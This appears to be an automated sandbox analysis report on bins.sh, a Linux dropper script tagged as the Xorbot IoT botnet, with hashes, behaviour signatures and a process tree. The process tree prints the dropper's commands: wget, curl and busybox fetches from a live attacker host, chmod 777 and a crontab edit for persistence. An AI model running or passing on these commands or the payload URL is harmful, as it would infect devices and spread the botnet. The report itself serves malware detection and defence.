Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    20-02-2025 13:02

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    c8064cc9db54f4cb15d6d6ebeacd0aa6

  • SHA1

    6aaa3e1d4fb62c9a5f835e1c91bb5b5cf83c6fc6

  • SHA256

    708ae525b410e3cca9d47fa560e0b28ed7802bf285bb2407565cf2d69dd2be14

  • SHA512

    f7fba0727b6d5b1358bbcbada9fb73741a80cb81719484e8c92fa4f3765baa0ceb7d31beadfde4b68a415fc45f99508eb0a50bed8e6ad9b9755803c8769cca78

  • SSDEEP

    192:aSrLnLjLKLlLtLrVu1Vp2nrb91pXG7LE573LnLjLKLlLtLsVp2nrbH1pXG7LCfn:aSvL3ItFrVuYN1pXG7LEl7L3ItF931pr

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2178) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1503
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1504
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1505
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1509
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
        2⤵
        • System Network Configuration Discovery
        PID:1511
      • /bin/chmod
        chmod 777 Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
        2⤵
        • File and Directory Permissions Modification
        PID:1512
      • /usr/bin/crontab
        crontab -l
        2⤵
          PID:1516
        • /usr/bin/crontab
          crontab -
          2⤵
          • Creates/modifies Cron job
          PID:1518
        • /bin/rm
          rm Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
          2⤵
            PID:1520
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz
            2⤵
            • System Network Configuration Discovery
            PID:1523

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
          Filesize

          98KB

          MD5

          5141342d0df8699fa32a6b066a0c592e

          SHA1

          8157673225bd5182f16215e2aa823a25ca2d4fbc

          SHA256

          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

          SHA512

          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

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        • /var/spool/cron/crontabs/tmp.PavwHi
          Filesize

          210B

          MD5

          1af0e40a63a1ccca807073bdac18f57a

          SHA1

          fe5e1ad9c503eb090f70ef10899058a1898ae869

          SHA256

          540d1292ab96bec504b81f940d344005d1792f0e4049fd7b2ba3414d8753a56d

          SHA512

          6fc7ef8c3d2b00af40a917b8dfd1891a436ff872b3d5bc7bc7ccf99cdfde11534858bb071585505e610d6fe9f4cf7e86d4a091f8d9ac7ab8bab6a11ec1b3ff13

          Download Submit